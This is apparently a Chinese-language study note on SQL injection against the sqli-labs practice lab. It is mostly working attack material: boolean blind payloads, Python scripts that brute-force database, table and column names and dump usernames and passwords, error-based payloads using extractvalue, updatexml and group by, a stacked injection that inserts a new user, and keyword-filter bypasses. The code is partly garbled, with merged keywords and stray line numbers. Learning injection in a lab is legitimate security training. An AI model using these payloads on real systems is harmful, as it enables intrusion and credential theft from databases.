?id=1'and length((select database()))>9--+ #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4 ?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() andtable_name='users'))>20--+ 判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() andtable_name='users'),1,1))>99--+ 逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐一检测内容。
url = 'http://sql-labs:3601/Less-5/'# 目标URL flag = "You are in..."# 设置一个回显成功的字样
def get_database_length(): global url, flag # 全局变量 length = 1 while (1): payload = f"?id=1' and length((select database()))={length}--+" response = requests.get(url + payload).text if flag not in response: length += 1 else: print("success") break print("数据库长度为", length) returnlength
if __name__ == "__main__": print("获取数据库长度") length = get_database_length()
defget_database_length2(database_length): global flag, url database = "" for i inrange(1, database_length + 1): for j inrange(65,122): payload = f"?id=1' and ascii(substr((select database()),{i},1))={j}--+" response = requests.get(url + payload).text if flag in response: database += chr(j) print("数据库名为",database) break return database
defget_table_name(table_length): global flag, url table_name = "" for i inrange(1, table_length + 1): for j inrange(33,122): payload = f"?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j}--+" response = requests.get(url + payload).text if flag in response: table_name += chr(j) print("表名为",table_name) break return table_name
defget_column_length(): global flag,url length = 1 while(True): payload = f"?id=1'and length((select group_concat(column_name) from information_schema.columns where table_name='users'))={length}--+" response = requests.get(url + payload).text if flag notin response: length += 1 else: print("success") break print("表长度为", length) return length
defget_column_name(column_length): global flag,url column_name = "" for i inrange(1, column_length + 1): for j inrange(33,122): payload = f"?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))={j}--+" response = requests.get(url + payload).text if flag in response: column_name += chr(j) print("表名为",column_name) break return column_name
defget_column_id(): global flag,url length = 1 id = "" while(True): payload = f"?id=1'and length((select group_concat(id) from users))={length}--+" response = requests.get(url + payload).text if flag notin response: length += 1 else: break print("id长度为",length) for i inrange(1,length+1): for j inrange(33,122): payload = f"?id=1'and ascii(substr((select group_concat(id) from users),{i},1))={j}--+" response = requests.get(url + payload).text if flag in response: id += chr(j) break print("id为",id) returnid
def get_database_length(): global url, flag # 全局变量 length = 1 while (1): payload = f"1') or length((select database()))={length}#" data["uname"] = payload response = requests.post(url, data=data).text if flag not in response: length += 1 else: print("success") break print("数据库长度为", length) returnlength
照着修改一下即可。剩下的也是一样的,测长和字符的形式是一样,我就例举两个就行。
1 2 3 4 5 6 7 8 9 10 11 12 13
defget_database_length2(database_length): global flag, url database = "" for i inrange(1, database_length + 1): for j inrange(65,122): payload = f"1') or ascii(substr((select database()),{i},1))={j}#" data["uname"] = payload response = requests.post(url,data=data).text if flag in response: database += chr(j) print("数据库名为",database) break return database
1'and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本 1'and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库 1'and (extractvalue(1,concat(0x5c,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名 1'and (extractvalue(1,concat(0x5c,(selectgroup_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 爆字段名 1'and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。 1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。
updatexml报错注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
123'and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本 123'and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库 123'and (updatexml(1,concat(0x5c,(selectgroup_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名 123'and (updatexml(1,concat(0x5c,(selectgroup_concat(column_name) from information_schema.columns where table_schema='security'and table_name ='users'),0x5c),1))# 爆字段名 123'and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))# 爆密码该格式针对mysql数据库。 爆其他表就可以,下面是爆emails表 123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name ='emails'),0x5c),1))# 1'and (updatexml (1,concat(0x5c,(selectgroup_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
group by报错注入
1 2 3 4 5 6 7 8 9 10 11 12
123' and (selectcount(*) from information_schema.tablesgroupby concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库 123' and (selectcount(*) from information_schema.tablesgroupby concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本 1' and (selectcount(*) from information_schema.tableswhere table_schema=database() groupby concat(0x7e,(select table_name from information_schema.tableswhere table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表 1' and (selectcount(*) from information_schema.tableswhere table_schema=database() groupby concat(0x7e,(select group_concat(table_name) from information_schema.tableswhere table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表 1' and (selectcount(*) from information_schema.columns where table_schema=database() groupby concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名 1' and (selectcount(*) from information_schema.columns groupby concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名 1' and (select1from(selectcount(*) from information_schema.columns where table_schema=database() groupby concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
绕过
至此大多数的sql注入方法,还有一个堆叠注入,像是这样的用法login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login,这个简单去了解一下即可。下面是一些特殊情况的绕过。
替换绕过
很常用的方法,双写穿插。
1 2 3 4 5
or --> oorr and --> aandnd union --> uunionnion select --> seselectlect ... ...
大小写绕过
在实战中,这种方法并不常见了
1 2 3 4
or --> Or select --> SEleCt union --> UniOn and --> aND